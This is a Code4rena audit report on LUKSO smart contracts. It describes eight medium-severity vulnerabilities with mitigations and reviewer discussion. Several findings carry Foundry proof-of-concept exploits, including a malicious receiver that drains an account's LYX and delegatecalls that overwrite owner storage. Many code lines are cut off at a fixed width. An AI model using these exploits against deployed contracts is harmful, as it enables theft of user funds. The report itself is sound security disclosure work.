LUKSO
Findings & Analysis Report

2023-09-18

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the LUKSO smart contract system written in Solidity. The audit took place between June 30 — July 14 2023.

Wardens

22 Wardens contributed reports to the LUKSO:

1. MiloTruck
2. codegpt
3. 0xc695
4. gpersoon
5. K42
6. Rolezn
7. catellatech
8. DavidGiladi
9. Raihan

10. hunter_w3b
11. petrichor
12. Sathish9098
13. LeoS
14. naman1778
15. matrix_0wl
16. banpaleo5
17. vnavascues
18. SAQ
19. SAAJ
20. SM3_SS
21. ReyAdmirado
22. Rageur

This audit was judged by Trust.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 8 unique vulnerabilities. Of these vulnerabilities, 0 received a risk rating in the category of HIGH severity and 8 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 9 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 14 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 LUKSO repository, and is composed of 14 smart contracts written in the Solidity programming language and includes 5578 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](), specifically our section on [Severity Categorization]().

Medium Risk Findings (8)

[M-01] The owner of a `LSP0ERC725Account` can become the owner again after renouncing ownership

Submitted by [MiloTruck]()

The `renounceOwnership()` function allows the owner of a `LSP0ERC725Account` to renounce ownership through a two-step process. When `renounceOwnership()` is first called, `_renounceOwnershipStartedAt` is set to `block.number` to indicate that the process has started:

[LSP14Ownable2Step.sol#L159-L167]()

```
        if (
            currentBlock > confirmationPeriodEnd ||
            _renounceOwnershipStartedAt == 0
        ) {
            _renounceOwnershipStartedAt = currentBlock;
            delete _pendingOwner;
```

```
            emit RenounceOwnershipStarted();
            return;
        }
```

When `renounceOwnership()` is called again, the owner is then set to `address(0)` :

[LSP14Ownable2Step.sol#L176-L178](#)

```
        _setOwner(address(0));
        delete _renounceOwnershipStartedAt;
        emit OwnershipRenounced();
```

However, as `_pendingOwner` is only deleted in the first call to `renounceOwnership()` , an owner could regain ownership of the account after the second call to `renounceOwnership()` by doing the following:

1. Call `renounceOwnership()` for the first time to initiate the process.
2. Using `execute()` , to perform a delegate call that overwrites `_pendingOwner` to their own address.
3. Call `renounceOwnership()` again to set the owner to `address(0)` .

As `_pendingOwner` is still set to the owner's address, they can call `acceptOwnership()` at anytime to regain ownership of the account.

Impact

Even after the `renounceOwnership()` process is completed, an owner might still be able to regain ownership of an LSP0 account.

This could potentially be dangerous if users assume that an LSP0 account will never be able to call restricted functions after ownership is renounced, as stated in [the following comment](#):

> Leaves the contract without an owner. Once ownership of the contract has been renounced, any functions that are restricted to be called by the owner will be

> permanently inaccessible, making these functions not callable anymore and unusable.

For example, if a protocol's admin is set to a `LSP0ERC725Account`, the owner could gain the community's trust by renouncing ownership. After the protocol has gained a significant TVL, the owner could then regain ownership of the account and proceed to rug the protocol.

Proof of Concept

The following Foundry test demonstrates how an owner can regain ownership of a `LSP0ERC725Account` after `renounceOwnership()` has been called twice:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol'

contract Implementation {
    // _pendingOwner is at slot 3 for LSP0ERC725Account
    bytes32[3] __gap;
    address _pendingOwner;

    function setPendingOwner(address newPendingOwner) external {
        _pendingOwner = newPendingOwner;
    }
}

contract RenounceOwnership_POC is Test {
    LSP0ERC725Account account;

    function setUp() public {
        // Deploy LSP0 account with this address as owner
        account = new LSP0ERC725Account(address(this));
    }

    function testCanRegainOwnership() public {
        // Call renounceOwnership() to initiate the process
        account.renounceOwnership();

        // Overwrite _pendingOwner using a delegatecall
        Implementation implementation = new Implementation();
        account.execute(
```

```
            4, // OPERATION_4_DELEGATECALL
            address(implementation),
            0,
            abi.encodeWithSelector(Implementation.setPendingOwne
        );

        // _pendingOwner is now set to this address
        assertEq(account.pendingOwner(), address(this));

        // Call renounceOwnership() again to renounce ownership
        vm.roll(block.number + 200);
        account.renounceOwnership();

        // Owner is now set to address(0)
        assertEq(account.owner(), address(0));

        // Call acceptOwnership() to regain ownership
        account.acceptOwnership();

        // Owner is now set to address(this) again
        assertEq(account.owner(), address(this));
    }
}
```

Recommended Mitigation

Consider deleting `_pendingOwner` when `renounceOwnership()` is called for a second time as well:

[LSP14Ownable2Step.sol#L176-L178]()

```
        _setOwner(address(0));
        delete _renounceOwnershipStartedAt;
+       delete _pendingOwner;
        emit OwnershipRenounced();
```

Assessed type

Call/delegatecall

[minhquanym (lookout) commented]():

> In this scenario, `renounceOwnership()` is initiated before `setPendingOwner()` is called. In case the calls order is reversed, the `_pendingOwner` will be deleted.

> Not sure this is intended or not so leaving for sponsor review.

CJ42 (LUKSO) confirmed

[M-02] Two-step ownership transfer process in `LSP0ERC725AccountCore` can be bypassed

Submitted by MiloTruck

To transfer ownership of the `LSP0ERC725AccountCore` contract, the owner has to call `transferOwnership()` to nominate a pending owner. Afterwards, the pending owner must call `acceptOwnership()` to become the new owner.

When called by the owner, `transferOwnership()` executes the following logic:

LSP0ERC725AccountCore.sol#L560-L580

```
        address currentOwner = owner();

        // If the caller is the owner perform transferOwnership
        if (msg.sender == currentOwner) {
            // set the pending owner
            LSP14Ownable2Step._transferOwnership(pendingNewOwner
            emit OwnershipTransferStarted(currentOwner, pendingN

            // notify the pending owner through LSP1
            pendingNewOwner.tryNotifyUniversalReceiver(
                _TYPEID_LSP0_OwnershipTransferStarted,
                ""
            );

            // Require that the owner didn't change after the LS
            // (Pending owner didn't automate the acceptOwnershi
            require(
                currentOwner == owner(),
                "LSP14: newOwner MUST accept ownership in a sepa
```

```
            );
        } else {
```

The `currentOwner == owner()` check ensures that `pendingNewOwner` did not call `acceptOwnership()` in the `universalReceiver()` callback. However, a malicious contract can bypass this check by doing the following in its `universalReceiver()` function:

- Call `acceptOwnership()` to gain ownership of the LSP0 account.
- Do whatever they want, such as transferring the account's entire LYX balance to themselves.
- Call `execute()` to perform a delegate call that does either of the following:
    - Delegate call into a contract that self-destructs, which will destroy the account permanently.
    - Otherwise, use delegate call to overwrite `_owner` to the previous owner.

This defeats the entire purpose of a two-step ownership transfer, which should ensure that the LSP0 account cannot be lost in a single call if the owner accidentally calls `transferOwnership()` with the wrong address.

Impact

Should `transferOwnership()` be called with the wrong address, the address could potentially bypass the two-step ownership transfer process to destroy the LSP0 account in a single transaction.

Proof of Concept

The following Foundry test demonstrates how an attacker can drain the LYX balance of an LSP0 account in a single transaction when set to the pending owner in `transferOwnership()`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
```

```
import "../../../contracts/LSP0ERC725Account/LSP0ERC725Account.s

contract Implementation {
    // _owner is at slot 0 for LSP0ERC725Account
    address _owner;

    function setOwner(address newOwner) external {
        _owner = newOwner;
    }
}

contract MaliciousReceiver {
    LSP0ERC725Account account;
    bool universalReceiverDisabled;

    constructor(LSP0ERC725Account _account) {
        account = _account;
    }

    function universalReceiver(bytes32, bytes calldata) external
        // Disable universalReceiver()
        universalReceiverDisabled = true;

        // Cache owner for later use
        address owner = account.owner();

        // Call acceptOwnership() to become the owner
        account.acceptOwnership();

        // Transfer all LYX balance to this contract
        account.execute(
            0, // OPERATION_0_CALL
            address(this),
            10 ether,
            ""
        );

        // Overwrite _owner with the previous owner using delega
        Implementation implementation = new Implementation();
        account.execute(
            4, // OPERATION_4_DELEGATECALL
            address(implementation),
            0,
            abi.encodeWithSelector(Implementation.setOwner.selec
        );
```

```
        return "";
    }

    function supportsInterface(bytes4) external view returns (bo
        return !universalReceiverDisabled;
    }

    receive() payable external {}
}

contract TwoStepOwnership_POC is Test {
    LSP0ERC725Account account;

    function setUp() public {
        // Deploy LSP0 account with address(this) as owner and g
        account = new LSP0ERC725Account(address(this));
        deal(address(account), 10 ether);
    }

    function testCanDrainContractInTransferOwnership() public {
        // Attacker deploys malicious receiver contract
        MaliciousReceiver maliciousReceiver = new MaliciousRecei

        // Victim calls transferOwnership() for malicious receiv
        account.transferOwnership(address(maliciousReceiver));

        // All LYX in the account has been drained
        assertEq(address(account).balance, 0);
        assertEq(address(maliciousReceiver).balance, 10 ether);
    }
}
```

Recommended Mitigation

Add a `inTransferOwnership` state variable, which ensures that `acceptOwnership()` cannot be called while `transferOwnership()` is in execution, similar to a reentrancy guard:

```
function transferOwnership(
    address pendingNewOwner
) public virtual override(LSP14Ownable2Step, OwnableUnset) {
    inTransferOwnership = true;
```

```
        // Some code here...

        inTransferOwnership = false;
    }

    function acceptOwnership() public virtual override {
        if (inTransferOwnership) revert CannotAcceptOwnershipDuringT

        // Some code here...
    }
```

Assessed type

Call/delegatecall

[CJ42 (LUKSO) confirmed]

[M-03] LSP8 and LSP9's `ERC-165` interface ID differs from their specification

Submitted by [MiloTruck], also found by [codegpt]

According to [LSP7's specification], the [ERC-165] interface ID for LSP7 token contracts should be `0x5fcaac27`:

> ERC165 interface id: `0x5fcaac27`

However, `_INTERFACEID_LSP7` has a different value in the code:

[LSP7Constants.sol#L4-L5]

```
    // --- ERC165 interface ids
    bytes4 constant _INTERFACEID_LSP7 = 0xda1f85e4;
```

Similarly, LSP8's interface ID should be `0x49399145` according to [LSP8's specification]:

> ERC165 interface id: `0x49399145`

However, `_INTERFACEID_LSP8` has a different value in the code:

[LSP8Constants.sol#L4-L5]

```
// --- ERC165 interface ids
bytes4 constant _INTERFACEID_LSP8 = 0x622e7a01;
```

These constants are used in `supportsInterface()` for the `LSP7DigitalAsset` and `LSP8IdentifiableDigitalAsset` contracts.

Impact

Protocols that check for LSP7/LSP8 compatibility using the `ERC-165` interface IDs declared in the specification will receive incorrect return values when calling `supportsInterface()`.

Recommended Mitigation

Ensure that the interface ID declared in the code matches their respective ones in their specifications.

Assessed type

Error

[CJ42 (LUKSO) disputed and commented via duplicate issue #101]:

> The bytes4 interface ID is correct according to the specs.

[CJ42 (LUKSO) responded via private discord communication in regards to their previous comment above]:

> The interface IDs for LSP7 + LSP8 are correct in terms of they represent correctly the XOR of all the function selectors of ILSP7 and ILSP8. So they are correct according to the Solidity code. It's in the LIP specs that there was an error (had

> not been updated and forgotten in a previous PR). We fixed it in the LIP specs document. Reference this [PR](#).

[M-04] `LSP8Burnable` extension incorrectly inherits `LSP8IdentifiableDigitalAssetCore`

Submitted by [MiloTruck](#)

The `LSP8Burnable` contract inherits from `LSP8IdentifiableDigitalAssetCore`:

[LSP8Burnable.sol#L15](#)

```
abstract contract LSP8Burnable is LSP8IdentifiableDigitalAssetCo
```

However, LSP8 extensions are supposed to inherit `LSP8IdentifiableDigitalAsset` instead. This can be inferred by looking at `LSP8CappedSupply.sol`, `LSP8CompatibleERC721.sol` and `LSP8Enumerable.sol`:

[LSP8CappedSupply.sol#L13](#)

```
abstract contract LSP8CappedSupply is LSP8IdentifiableDigitalAss
```

Additionally, the `LSP8BurnableInitAbstract.sol` file is missing in the repository.

Impact

As `LSP8Burnable` does not inherit `LSP8IdentifiableDigitalAsset`, a developer who implements their LSP8 token using `LSP8Burnable` will face the following issues:

- All functionality from `LSP4DigitalAssetMetadata` will be unavailable.
- As `LSP8Burnable` does not contain a `supportsInterface()` function, it will be incompatible with contracts that use [ERC-165](#).

Recommended Mitigation

The `LSP8Burnable` contract should inherit `LSP8IdentifiableDigitalAsset` instead:

LSP8Burnable.sol#L15

```
-   abstract contract LSP8Burnable is LSP8IdentifiableDigitalAss
+   abstract contract LSP8Burnable is LSP8IdentifiableDigitalAss
```

Secondly, add a `LSP8BurnableInitAbstract.sol` file that contains an implementation of `LSP8Burnable` which can be used in proxies.

CJ42 (LUKSO) confirmed

[M-05] `LSP8CompatibleERC721`'s `approve()` deviates from ERC-721 specification

Submitted by MiloTruck

The `LSP8CompatibleERC721` contract is a wrapper around LSP8, which is meant to function similarly to ERC-721 tokens. One of its implemented functions is ERC-721's `approve()`:

LSP8CompatibleERC721.sol#L155-L158

```
function approve(address operator, uint256 tokenId) public v
    authorizeOperator(operator, bytes32(tokenId));
    emit Approval(tokenOwnerOf(bytes32(tokenId)), operator,
}
```

As `approve()` calls `authorizeOperator()` from the `LSP8IdentifiableDigitalAssetCore` contract, only the owner of `tokenId` is allowed to call `approve()`:

LSP8IdentifiableDigitalAssetCore.sol#L105-L113

```
function authorizeOperator(
    address operator,
    bytes32 tokenId
) public virtual {
    address tokenOwner = tokenOwnerOf(tokenId);

    if (tokenOwner != msg.sender) {
        revert LSP8NotTokenOwner(tokenOwner, tokenId, msg.se
    }
```

However, the implementation above deviates from the [ERC-721 specification](), which mentions that an "authorized operator of the current owner" should also be able to call `approve()`:

```
/// @notice Change or reaffirm the approved address for an N
/// @dev The zero address indicates there is no approved adc
///  Throws unless `msg.sender` is the current NFT owner, or
///  operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) extern
```

This means, anyone who is an approved operator for `tokenId`'s owner through `setApprovalForAll()` should also be able to grant approvals. An example of such behaviour can be seen in [Openzeppelin's ERC721 implementation]():

[ERC721.sol#L121-L123]()

```
    if (_msgSender() != owner && !isApprovedForAll(owner, _m
        revert ERC721InvalidApprover(_msgSender());
    }
```

Impact

As `LSP8CompatibleERC721`'s `approve()` functions differently from ERC-721, protocols that rely on this functionality will be incompatible with LSP8 tokens that inherit from `LSP8CompatibleERC721`.

For example, in an NFT exchange, users might be required to call `setApprovalForAll()` for the protocol's router contract. The router then approves a swap contract, which transfers the NFT from the user to the recipient using `transferFrom()`.

Additionally, developers that expect `LSP8CompatibleERC721` to behave exactly like ERC-721 tokens might introduce bugs in their contracts, due to the difference in `approve()`.

Recommended Mitigation

Modify `approve()` to allow approved operators for `tokenId`'s owner to grant approvals:

```
    function approve(address operator, uint256 tokenId) public virtu
        bytes32 tokenIdBytes = bytes32(tokenId);
        address tokenOwner = tokenOwnerOf(tokenIdBytes);

        if (tokenOwner != msg.sender && !isApprovedForAll(tokenOwner
            revert LSP8NotTokenOwner(tokenOwner, tokenIdBytes, msg.s
        }

        if (operator == address(0)) {
            revert LSP8CannotUseAddressZeroAsOperator();
        }

        if (tokenOwner == operator) {
            revert LSP8TokenOwnerCannotBeOperator();
        }

        bool isAdded = _operators[tokenIdBytes].add(operator);
        if (!isAdded) revert LSP8OperatorAlreadyAuthorized(operator,

        emit AuthorizedOperator(operator, tokenOwner, tokenIdBytes);
        emit Approval(tokenOwner, operator, tokenId);
    }
```

Assessed type

ERC721

[skimaharvey (LUKSO) disputed and commented]:

> However, the implementation above deviates from the [ERC-721 specification], which mentions that an "authorized operator of the current owner" should also be able to call `approve()`:

> @MiloTruck - can you please point me to it in the standard because I could not find anything stipulating that?

[MiloTruck (warden) commented]:

> @skimaharvey - It's mentioned in the `@dev` natspec comment above `approve()` in the ERC-721 interface under [specification]:
>
> ```
> ///  Throws unless `msg.sender` is the current NFT owner, or
> ///  operator of the current owner.
> ```
>
> You can refer to the code block in the issue above as well.

[skimaharvey (LUKSO) confirmed and commented]:

> NVM read it too fast. Seems valid 🙏.

[M-06] Universal Data Key Permissions May Be Abused During Ownership Transfers

Submitted by [0xc695]

Lines of code

https://github.com/code-423n4/2023-06-lukso/blob/9dbc96410b3052fc0fd9d423249d1fa42958cae8/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L132-L137

https://github.com/code-423n4/2023-06-lukso/blob/9dbc96410b3052fc0fd9d423249d1fa42958cae8/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L282-L288 https://github.com/code-423n4/2023-06-lukso/blob/9dbc96410b3052fc0fd9d423249d1fa42958cae8/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L462

Impact

In `LSP6KeyManager` , when fetching permissions. we are looking for universal permissions (independent from the owner). If a UP owner transfers ownership to a new owner that uses a key manager, the previously set permissions (like access for a lot controller) remain intact. This can potentially enable the old owner to retain significant control over the UP, which could be abused to destabilize the contract or cause financial harm to the new owner and other participants.

Proof of Concept

The problem arises from the inability of the smart contract to identify and manage data keys that were set by previous owners. A malicious actor could set certain permissions while they are the owner of the UP, then transfer the ownership to a new owner. The old permissions would remain in effect, allowing the old owner to maintain undue control and possibly 'rug pull' or cause other harmful actions at a later date.

Tools Used

The issue was identified through manual review of the contract mechanisms and their potential abuse, without the use of specific security tools.

Recommended Mitigation Steps

To prevent potential abuse through residual permissions, the data keys for permissions should be made owner-specific. The following mitigation steps can be implemented:

- Hash the permission with the owner's address: When setting permissions, they can be hashed with the owner's address. This way, the permissions are specifically associated with a particular owner and do not affect subsequent owners.
- Add a nonce upon ownership transfer: To further ensure the uniqueness and irrelevance of old permissions, a random nonce can be added each time the ownership is transferred. This nonce can be used in conjunction with the

address of the LSP6 when retrieving permissions, making any permissions set by old owners irrelevant.

Assessed type

Rug-Pull

[CJ42 (LUKSO) confirmed and commented]:

> We are aware of the issue, but we want upgradability. Therefore, we are trying to think of solutions that we already have in mind (e.g: using unique salts while hashing the `AddressPermissions:Permissions:<controller> + salt` prefix).

[Trust (judge) decreased severity to Medium and commented]:

> I believe rug pull vectors should be capped at M severity. This is a really important find though.

[Trust (judge) commented]:

> Going to share additional rationale for severity assessment:

> Owner permissions vs Universal permissions are completely different concepts in LUKSO account abstraction. A user that receives "owner" permissions on an account should not be assuming permissions are reset, as it is not stated at any point. The issue at hand, is at the smart contract-level, it is impossible to know if some user has permissions set (this can still be checked on blockchain indexers/etherscan). This points to a somewhat problematic design, which is why I've decided to award it with Medium severity.

> The conditionals and the unfounded trust required from the receiver for any damage to occur make the finding not eligible for High severity.

[MiloTruck (warden) commented]:

> Hi @Trust, I don't mean to question your judgement here, but I don't really understand why this issue is considered a medium severity bug.

> A user that receives “owner” permissions on an account should not be assuming permissions are reset, as it is not stated at any point.

> Wouldn’t this mean that any impact resulting from a previous owner maliciously configuring permissions is a user mistake (as it is the responsibility of the current owner to ensure permissions are correct), making the issue QA?

> Additionally, in my opinion, the likelihood of such a scenario occurring is extremely low since LSP0 accounts, unlike NFTs, aren’t meant to be traded and should not be transferred between untrusted parties in the first place.

> The issue at hand, is that at the smart contract-level, it is impossible to know if some user has permissions set (this can still be checked on blockchain indexers/etherscan). This points to a somewhat problematic design, which is why I’ve decided to award it with Medium severity.

> Shouldn’t design issues fall under QA according to C4’s severity rules? While it is true that this cannot be checked on-chain, there are ways to side-step this issue by monitoring what permissions are added off-chain.

> Would also like to highlight that there are many other ways for a previous owner to maliciously configure the LSP0 account without permissions that cannot be checked at a smart contract level:

- Previous owner can add an extension to transfer tokens out from the account.
- Previous owner can approve other addresses controlled by themselves to transfer LSP7/LSP8 tokens on behalf of the LSP0 account by calling `authorizeOperator()` through `execute()`.

> This suggests that the sponsor was aware of the risks related to the transferring ownership of a LSP0 account and deemed them as acceptable for the current design.

> Would like to hear your opinion to understand from a judge’s POV, thanks!

[skimaharvey (LUKSO) commented](#):

> Going to share additional rationale for severity assessment: etc...

> @Trust - Agreed with everything said here. As stated, the main issue is that they are not retrievable from the smart contract directly which is not ideal.

> We intend to fix it by:

- enforcing that the permissions are retrievable at the SC level.
- and/or when there is a change in owner old permissions should easily be discarded (through, for example, adding a salt set at the Key Manager level).

> We are still thinking about it and are open to any good ideas you might have. But yes 'High' severity seems exaggerated, as it is your duty as a new owner to not blindly trust and make sure that old permissions do not remain through an indexer, for example.

> And yes @MiloTruck - it is true for controllers or extensions. Anything that could have permissions on the UP.

[Trust (judge) commented]:

> @MiloTruck - good points raised. In an ideal world, this would be part of the architecture section of a top analysis report. However, we're still not there yet.

> I've factored in these considerations:

1. The submission was eye-opening for the team.
2. Functionality is lacking (can't view permissions trustlessly).
3. From chats with the team, the usage of account transfers is not as unlikely as initially seems.

> Therefore, I decided to round up a weak medium/strong analysis, as sponsor has confirmed the finding.

[M-07] Insufficient Length Check When Verifying Allowed Data Keys

Submitted by [codegpt]

There is an insufficient length check when validating the allowed data keys that can be set by a caller. In particular, if a decoded length in the compact bytes array happens to be 0, the caller will be validated against any data key.

Although a decoded length is not possible when setting allowed data keys via the `LSP6SetDataModule` contract, there is no guarantee that data values before ownership transfer to an LSP6 contract are valid. This allows a scamming opportunity, as malicious actors who set-up an ERC725 contract for another can create a backdoor that cannot be easily seen, as the allowed data keys will simply have an extra `0x0000`.

When verifying allowed data keys that a caller can set, a length check is done on the first 2 bytes of a compact bytes array to ensure that the length does not exceed a data key's length.

```
                if (length > 32)
                    revert InvalidEncodedAllowedERC725YDataKeys(
                        allowedERC725YDataKeysCompacted,
                        "couldn't DECODE from storage"
                    );
```

This `length` value is used to decide the bit mask when validating data keys.

```
                mask =
                    bytes32(
                        0xffffffffffffffffffffffffffffffffffffffffff
                    ) <<
                    (8 * (32 - length));
```

In the case, that `length == 0`, then `mask == bytes32(0)`.

Then, the validation check for all data keys will pass, as the validation will be reduced to whether or not `allowedKey & bytes32(0) == inputDataKey & bytes32(0)`, which is always true.

```
                    allowedKey := and(memoryAt, mask)
```

```
            }

            if (allowedKey == (inputDataKey & mask)) return;
```

This allows the caller to set data values for all data keys except those used for LSP1, LSP6, and LSP17, due to the initial checks in `LSP6SetDataModule._getPermissionRequiredToSetDataKey()`. In particular, they would be able to obstruct data values for the following established keys:

- LSP3 keys detailing information about a universal profile.
- LSP5 keys detailing information about received assets.
- LSP10 keys detailing information about vault ownership.

Proof of Concept

Suppose userA and userB wish to share a universal profile and decide to use an LSP6 key manager to manage the profile. userA is decided to set-up the contracts. However, userA is malicious and does the following:

- Deploys the universal profile contract with userA as the owner.
- Sets up permissions and data keys agreed by userA and userB.
    - In particular, assume userA has permission to set data for specific data keys.
- Adds `0x0000` at the beginning or end of the allowed data keys of userA.
- Deploys the LSP6 key manager.
- Transfers ownership of the universal profile to the LSP6 key manager.

If userB does not trust userA, they are able to check userA's permissions and allowed data keys, but will find an extra `0x0000` in the allowed data keys, which does not appear malicious. However, this allows userA the ability to change the data value for almost all data keys.

The following fuzz test written in foundry shows that after adding `0x0000` to the allowed data keys of `malicious`, `malicious` is able to set the data value of most data keys:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

import "forge-std/Test.sol";
import "../src/UniversalProfile.sol";
import "../src/LSP9Vault/LSP9Vault.sol";
import "../src/LSP1UniversalReceiver/LSP1UniversalReceiverDelega
import "../src/LSP6KeyManager/LSP6KeyManager.sol";
import "../src/LSP14Ownable2Step/ILSP14Ownable2Step.sol";
import "../submodules/ERC725/implementations/contracts/interface

import {BytesLib} from "solidity-bytes-utils/contracts/BytesLib.
import {LSP2Utils} from "../src/LSP2ERC725YJSONSchema/LSP2Utils.

import "../src/LSP1UniversalReceiver/LSP1Constants.sol";
import "../src/LSP6KeyManager/LSP6Constants.sol";
import "../src/LSP17ContractExtension/LSP17Constants.sol";

contract LSP6Test is Test {
    using BytesLib for bytes;

    UniversalProfile profile;
    LSP9Vault vault;
    LSP1UniversalReceiverDelegateUP LSP1Delegate;
    LSP6KeyManager keyManager;


    function setUp() public {
        profile = new UniversalProfile(address(this));
        keyManager = new LSP6KeyManager(address(profile));
        LSP1Delegate = new LSP1UniversalReceiverDelegateUP();
        profile.setData(_LSP1_UNIVERSAL_RECEIVER_DELEGATE_KEY, b
    }

    function testLSP6BypassAllowedDataKeys(bytes32 dataKey, byte
        // dataKey cannot be LSP1, LSP6, or LSP17 data key
        vm.assume(bytes16(dataKey) != _LSP6KEY_ADDRESSPERMISSION
        vm.assume(bytes6(dataKey) != _LSP6KEY_ADDRESSPERMISSIONS
        vm.assume(bytes12(dataKey) != _LSP1_UNIVERSAL_RECEIVER_I
        vm.assume(bytes12(dataKey) != _LSP17_EXTENSION_PREFIX);

        // Give owner ability to transfer ownership
        bytes32 ownerDataKey = LSP2Utils.generateMappingWithGrou
            _LSP6KEY_ADDRESSPERMISSIONS_PERMISSIONS_PREFIX,
            bytes20(address(this))
```

```
        );
        profile.setData(ownerDataKey, bytes.concat(_PERMISSION_(

        // Set permissions and allowed data keys for malicious a
        address malicious = vm.addr(1234);

        bytes32 permissionsDataKey = LSP2Utils.generateMappingWi
            _LSP6KEY_ADDRESSPERMISSIONS_PERMISSIONS_PREFIX,
            bytes20(malicious)
        );
        bytes32 allowedDataKeysDataKey = LSP2Utils.generateMappi
            _LSP6KEY_ADDRESSPERMISSIONS_AllowedERC725YDataKeys_F
            bytes20(malicious)
        );

        profile.setData(permissionsDataKey, bytes.concat(_PERMIS
        profile.setData(allowedDataKeysDataKey, bytes.concat(byt

        // Transfer ownership to LSP6KeyManager
        profile.transferOwnership(address(keyManager));
        bytes memory payload = abi.encodeWithSelector(
            ILSP14Ownable2Step.acceptOwnership.selector,
            ""
        );
        keyManager.execute(payload);
        assert(profile.owner() == address(keyManager));

        // Verify malicious can set data for most data keys
        bytes memory arg = abi.encode(dataKey, bytes.concat(_dat
        bytes memory data = abi.encodeWithSelector(
            IERC725Y.setData.selector,
            arg
        );
        keyManager.lsp20VerifyCall(malicious, 0, data);
    }
}
```

Recommended Mitigation Steps

It is recommended to add a check requiring that `length > 0`.

[CJ42 (LUKSO) disagreed with severity and commented]:

> We agree with the fact that this is a bug. However, we dispute the validity to be Medium, as these do not affect the critical data (LSP1, LSP6 and LSP17).

Trust (judge) decreased severity to Medium and commented:

> Agree with Medium, based on the social engineering requirement and a viewable anomaly in the permission list.

[M-08] Permission escalation by adding the same permission twice

Submitted by gpersoon, also found by MiloTruck

The function `combinePermissions` adds permission to available permissions. If the same permission is added twice, then this will result in a new and different permission. For example, adding `_PERMISSION_STATICCALL` twice results in `_PERMISSION_SUPER_DELEGATECALL`.

This way, accidentally dangerous permissions can be set. Once someone has a dangerous permission, for example `_PERMISSION_SUPER_DELEGATECALL`, they can change all storage parameters of the Universion Profile and then steal all the assets.

Proof of Concept

The following code shows this. Run with `forge test -vv` to see the console output.

```
pragma solidity ^0.8.13;

import "../../contracts/LSP6KeyManager/LSP6KeyManager.sol";
import "../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol'
import "../../contracts/LSP2ERC725YJSONSchema/LSP2Utils.sol";
import "../../contracts/LSP6KeyManager/LSP6Constants.sol";
import "./UniversalProfileTestsHelper.sol";

contract SetDataRestrictedController is UniversalProfileTestsHel
    LSP0ERC725Account public mainUniversalProfile;
    LSP6KeyManager public keyManagerMainUP;
    address public mainUniversalProfileOwner;
```

```
    address public combineController;

    function setUp() public {
        mainUniversalProfileOwner = vm.addr(1);
        vm.label(mainUniversalProfileOwner, "mainUniversalProfil
        combineController = vm.addr(10);
        vm.label(combineController, "combineController");
        mainUniversalProfile = new LSP0ERC725Account(mainUnivers

        // deploy LSP6KeyManagers
        keyManagerMainUP = new LSP6KeyManager(address(mainUniver
        transferOwnership(
            mainUniversalProfile,
            mainUniversalProfileOwner,
            address(keyManagerMainUP)
        );
    }

    function testCombinePermissions() public {
        bytes32[] memory ownerPermissions = new bytes32[](3);
        ownerPermissions[0] = _PERMISSION_STATICCALL;
        ownerPermissions[1] = _PERMISSION_STATICCALL;
        givePermissionsToController(
            mainUniversalProfile,
            combineController,
            address(keyManagerMainUP),
            ownerPermissions
        );
        bytes32 key = LSP2Utils.generateMappingWithGroupingKey(_
        bytes memory r = mainUniversalProfile.getData(key);
        console.logBytes(r); // 0x00..4000  SUPER_DELEGATECALL
    }
}
```

See [LSP6Utils.sol#L169-L177]() for the code of `combinePermissions`.

Tools Used

Foundry

Recommended Mitigation Steps

The permissions shouldn't be added, but they should be `OR`'d. Here is a way to solve this:

```
    function combinePermissions(bytes32[] memory permissions) interr
        uint256 result = 0;
        for (uint256 i = 0; i < permissions.length; i++) {
-           result += uint256(permissions[i]);
+           result |= uint256(permissions[i]);
        }
        return bytes32(result);
    }
```

Assessed type

Math

[CJ42 (LUKSO) disagreed with severity and commented](#):

> We don't use this function in any of the standards. It is only used in the tests.

> Because `LSP6Utils` is a `library` contract intended to be used for developer, we consider it is an issue. However, we consider it is unlikely that a developer will add the same permission two times in the array (if they do, it is on the developer end implementing our contracts that the mistakes happen in), we think the severity should be lower.

[Trust (judge) decreased severity to Medium and commented](#):

> Passing multiple identical permissions cannot be viewed as a mistake on the developer's side. They may rightly assume that repeating permissions are ignored and aren't expected to prefilter. The warden has not shown a clear end-to-end scenario where this would occur. Unless a reasonable likelihood can be demonstrated, the impact should be treated as a strong Medium.

Low Risk and Non-Critical Issues

For this audit, 9 reports were submitted by wardens detailing low risk and non-critical issues. The [report highlighted below](#) by **gpersoon** received the top score from the judge.

The following wardens also submitted reports: [MiloTruck](#), [Rolezn](#), [DavidGiladi](#), [naman1778](#), [banpaleo5](#), [vnavascues](#), [matrix_0wl](#), and [catellatech](#).

[01] Missing `emit` in `lsp20VerifyCall()`

The function `lsp20VerifyCall()` has two calls to `_verifyPermissions()`; however, only the first one is followed by an `emit`. This might make debugging transaction more difficult. Also indexed data by protocols like TheGraph will be incomplete.

Proof of Concept

LSP6KeyManagerCore.sol#L249-L296

```
function lsp20VerifyCall(...) ... {
    ...
    if (msg.sender == _target) {
        ...
        _verifyPermissions(caller, msgValue, data);
        emit VerifiedCall(caller, msgValue, bytes4(data));
        return ...
    }
    else {
        ...
        _verifyPermissions(caller, msgValue, data);
        // no emit
        return ...
    }
}
```

Recommended Mitigation Steps

